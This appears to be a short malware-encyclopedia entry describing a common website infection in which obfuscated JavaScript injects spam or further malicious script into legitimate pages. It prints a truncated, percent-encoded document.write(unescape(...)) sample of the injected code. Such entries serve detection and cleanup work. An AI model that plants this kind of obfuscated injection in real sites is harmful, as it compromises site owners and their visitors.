Very common JavaScript infection type. The JavaScript code (usually obfuscated) injects another content to the legitimate site content. It could be another malicious script as well as spam content or even just greeting from the malware author. The injected code varies from simple line of code to complex malicious scripts.
Affecting
Any website
Cleanup
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Dump
This code snippet injects whole page header (which eventually continues with another malicious code):
document.write( unescape( '%3C%21%44%4F%43%54%59%50%45%20%48%54%4D%4C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44%54%44%20%48%54%4D%4C%20%34%2E%30%31%20%54%72%61%6E%73%69%74%69%6F%6E%61%6C%2F%2F%45%4E%22%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%7...